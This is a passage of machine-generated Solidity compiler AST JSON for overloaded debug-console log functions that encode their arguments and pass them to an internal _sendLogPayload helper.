c2c626f6f6c29","id":21772,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"50705:26:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_3b2a5ce0ddf7b166153a4354c81efba12a817983a38c6bc3b58fd91ce816d99f","typeString":"literal_string \"log(bool,bool,bool,bool)\""},"value":"log(bool,bool,bool,bool)"},{"id":21773,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21760,"src":"50733:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21774,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21762,"src":"50737:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21775,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21764,"src":"50741:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21776,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21766,"src":"50745:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_3b2a5ce0ddf7b166153a4354c81efba12a817983a38c6bc3b58fd91ce816d99f","typeString":"literal_string \"log(bool,bool,bool,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":21770,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"50681:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21771,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"50685:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"50681:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21777,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"50681:67:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21769,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"50665:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21778,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"50665:84:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21779,"nodeType":"ExpressionStatement","src":"50665:84:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"50601:3:14","parameters":{"id":21767,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21760,"mutability":"mutable","name":"p0","nameLocation":"50610:2:14","nodeType":"VariableDeclaration","scope":21781,"src":"50605:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21759,"name":"bool","nodeType":"ElementaryTypeName","src":"50605:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21762,"mutability":"mutable","name":"p1","nameLocation":"50619:2:14","nodeType":"VariableDeclaration","scope":21781,"src":"50614:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21761,"name":"bool","nodeType":"ElementaryTypeName","src":"50614:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21764,"mutability":"mutable","name":"p2","nameLocation":"50628:2:14","nodeType":"VariableDeclaration","scope":21781,"src":"50623:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21763,"name":"bool","nodeType":"ElementaryTypeName","src":"50623:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21766,"mutability":"mutable","name":"p3","nameLocation":"50637:2:14","nodeType":"VariableDeclaration","scope":21781,"src":"50632:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21765,"name":"bool","nodeType":"ElementaryTypeName","src":"50632:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"50604:36:14"},"returnParameters":{"id":21768,"nodeType":"ParameterList","parameters":[],"src":"50655:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21804,"nodeType":"FunctionDefinition","src":"50762:170:14","nodes":[],"body":{"id":21803,"nodeType":"Block","src":"50828:104:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c626f6f6c2c6164647265737329","id":21795,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"50878:29:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_8c329b1a1752dedfc6b781d23096b49b7f905d62405e6e3f0ab0344786ff69f4","typeString":"literal_string \"log(bool,bool,bool,address)\""},"value":"log(bool,bool,bool,address)"},{"id":21796,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21783,"src":"50909:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21797,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21785,"src":"50913:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21798,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21787,"src":"50917:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21799,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21789,"src":"50921:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_8c329b1a1752dedfc6b781d23096b49b7f905d62405e6e3f0ab0344786ff69f4","typeString":"literal_string \"log(bool,bool,bool,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":21793,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"50854:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21794,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"50858:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"50854:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21800,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"50854:70:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21792,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"50838:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21801,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"50838:87:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21802,"nodeType":"ExpressionStatement","src":"50838:87:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"50771:3:14","parameters":{"id":21790,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21783,"mutability":"mutable","name":"p0","nameLocation":"50780:2:14","nodeType":"VariableDeclaration","scope":21804,"src":"50775:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21782,"name":"bool","nodeType":"ElementaryTypeName","src":"50775:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21785,"mutability":"mutable","name":"p1","nameLocation":"50789:2:14","nodeType":"VariableDeclaration","scope":21804,"src":"50784:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21784,"name":"bool","nodeType":"ElementaryTypeName","src":"50784:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21787,"mutability":"mutable","name":"p2","nameLocation":"50798:2:14","nodeType":"VariableDeclaration","scope":21804,"src":"50793:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21786,"name":"bool","nodeType":"ElementaryTypeName","src":"50793:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21789,"mutability":"mutable","name":"p3","nameLocation":"50810:2:14","nodeType":"VariableDeclaration","scope":21804,"src":"50802:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":21788,"name":"address","nodeType":"ElementaryTypeName","src":"50802:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"50774:39:14"},"returnParameters":{"id":21791,"nodeType":"ParameterList","parameters":[],"src":"50828:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21827,"nodeType":"FunctionDefinition","src":"50938:170:14","nodes":[],"body":{"id":21826,"nodeType":"Block","src":"51004:104:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c616464726573732c75696e7429","id":21818,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"51054:29:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_609386e78fd5b0eaf4b919077203f18b1606ddf72247d9e5eef9238918f7cf5e","typeString":"literal_string \"log(bool,bool,address,uint)\""},"value":"log(bool,bool,address,uint)"},{"id":21819,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21806,"src":"51085:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21820,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21808,"src":"51089:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21821,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21810,"src":"51093:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":21822,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21812,"src":"51097:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_609386e78fd5b0eaf4b919077203f18b1606ddf72247d9e5eef9238918f7cf5e","typeString":"literal_string \"log(bool,bool,address,uint)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":21816,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"51030:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21817,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"51034:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"51030:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21823,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"51030:70:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21815,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"51014:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21824,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"51014:87:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21825,"nodeType":"ExpressionStatement","src":"51014:87:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"50947:3:14","parameters":{"id":21813,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21806,"mutability":"mutable","name":"p0","nameLocation":"50956:2:14","nodeType":"VariableDeclaration","scope":21827,"src":"50951:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21805,"name":"bool","nodeType":"ElementaryTypeName","src":"50951:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21808,"mutability":"mutable","name":"p1","nameLocation":"50965:2:14","nodeType":"VariableDeclaration","scope":21827,"src":"50960:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21807,"name":"bool","nodeType":"ElementaryTypeName","src":"50960:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21810,"mutability":"mutable","name":"p2","nameLocation":"50977:2:14","nodeType":"VariableDeclaration","scope":21827,"src":"50969:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":21809,"name":"address","nodeType":"ElementaryTypeName","src":"50969:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":21812,"mutability":"mutable","name":"p3","nameLocation":"50986:2:14","nodeType":"VariableDeclaration","scope":21827,"src":"50981:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":21811,"name":"uint","nodeType":"ElementaryTypeName","src":"50981:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"50950:39:14"},"returnParameters":{"id":21814,"nodeType":"ParameterList","parameters":[],"src":"51004:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21850,"nodeType":"FunctionDefinition","src":"51114:181:14","nodes":[],"body":{"id":21849,"nodeType":"Block","src":"51189:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c616464726573732c737472696e6729","id":21841,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"51239:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_a0a479635c05dee438b610769de0f667f2e93ee267e4cd4badf3dd44eb6271d2","typeString":"literal_string \"log(bool,bool,address,string)\""},"value":"log(bool,bool,address,string)"},{"id":21842,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21829,"src":"51272:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21843,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21831,"src":"51276:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21844,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21833,"src":"51280:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":21845,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21835,"src":"51284:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a0a479635c05dee438b610769de0f667f2e93ee267e4cd4badf3dd44eb6271d2","typeString":"literal_string \"log(bool,bool,address,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":21839,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"51215:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21840,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"51219:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"51215:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21846,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"51215:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21838,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"51199:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21847,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"51199:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21848,"nodeType":"ExpressionStatement","src":"51199:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"51123:3:14","parameters":{"id":21836,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21829,"mutability":"mutable","name":"p0","nameLocation":"51132:2:14","nodeType":"VariableDeclaration","scope":21850,"src":"51127:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21828,"name":"bool","nodeType":"ElementaryTypeName","src":"51127:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21831,"mutability":"mutable","name":"p1","nameLocation":"51141:2:14","nodeType":"VariableDeclaration","scope":21850,"src":"51136:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21830,"name":"bool","nodeType":"ElementaryTypeName","src":"51136:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21833,"mutability":"mutable","name":"p2","nameLocation":"51153:2:14","nodeType":"VariableDeclaration","scope":21850,"src":"51145:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":21832,"name":"address","nodeType":"ElementaryTypeName","src":"51145:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":21835,"mutability":"mutable","name":"p3","nameLocation":"51171:2:14","nodeType":"VariableDeclaration","scope":21850,"src":"51157:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":21834,"name":"string","nodeType":"ElementaryTypeName","src":"51157:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"51126:48:14"},"returnParameters":{"id":21837,"nodeType":"ParameterList","parameters":[],"src":"51189:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21873,"nodeType":"FunctionDefinition","src":"51301:170:14","nodes":[],"body":{"id":21872,"nodeType":"Block","src":"51367:104:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c616464726573732c626f6f6c29","id":21864,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"51417:29:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_c0a302d8f11e8919127c20f396068f7014b94967efb042778db9b27b68ee1eaf","typeString":"literal_string \"log(bool,bool,address,bool)\""},"value":"log(bool,bool,address,bool)"},{"id":21865,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21852,"src":"51448:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21866,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21854,"src":"51452:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21867,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21856,"src":"51456:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":21868,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21858,"src":"51460:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c0a302d8f11e8919127c20f396068f7014b94967efb042778db9b27b68ee1eaf","typeString":"literal_string \"log(bool,bool,address,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":21862,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"51393:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21863,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"51397:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"51393:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21869,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"51393:70:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21861,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"51377:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21870,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"51377:87:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21871,"nodeType":"ExpressionStatement","src":"51377:87:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"51310:3:14","parameters":{"id":21859,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21852,"mutability":"mutable","name":"p0","nameLocation":"51319:2:14","nodeType":"VariableDeclaration","scope":21873,"src":"51314:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21851,"name":"bool","nodeType":"ElementaryTypeName","src":"51314:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21854,"mutability":"mutable","name":"p1","nameLocation":"51328:2:14","nodeType":"VariableDeclaration","scope":21873,"src":"51323:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21853,"name":"bool","nodeType":"ElementaryTypeName","src":"51323:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21856,"mutability":"mutable","name":"p2","nameLocation":"51340:2:14","nodeType":"VariableDeclaration","scope":21873,"src":"51332:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":21855,"name":"address","nodeType":"ElementaryTypeName","src":"51332:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":21858,"mutability":"mutable","name":"p3","nameLocation":"51349:2:14","nodeType":"VariableDeclaration","scope":21873,"src":"51344:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21857,"name":"bool","nodeType":"ElementaryTypeName","src":"51344:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"51313:39:14"},"returnParameters":{"id":21860,"nodeType":"ParameterList","parameters":[],"src":"51367:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21896,"nodeType":"FunctionDefinition","src":"51477:176:14","nodes":[],"body":{"id":21895,"nodeType":"Block","src":"51546:107:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c616464726573732c6164647265737329","id":21887,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"51596:32:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_f4880ea4063b4f7e3c68468bb4a7a3f1502aa7497bce4fb0ba02ec0450f047f4","typeString":"literal_string \"log(bool,bool,address,address)\""},"value":"log(bool,bool,address,address)"},{"id":21888,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21875,"src":"51630:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21889,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21877,"src":"51634:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21890,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21879,"src":"51638:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":21891,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21881,"src":"51642:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f4880ea4063b4f7e3c68468bb4a7a3f1502aa7497bce4fb0ba02ec0450f047f4","typeString":"literal_string \"log(bool,bool,address,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":21885,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"51572:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21886,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"51576:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"51572:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21892,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"51572:73:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21884,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"51556:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) 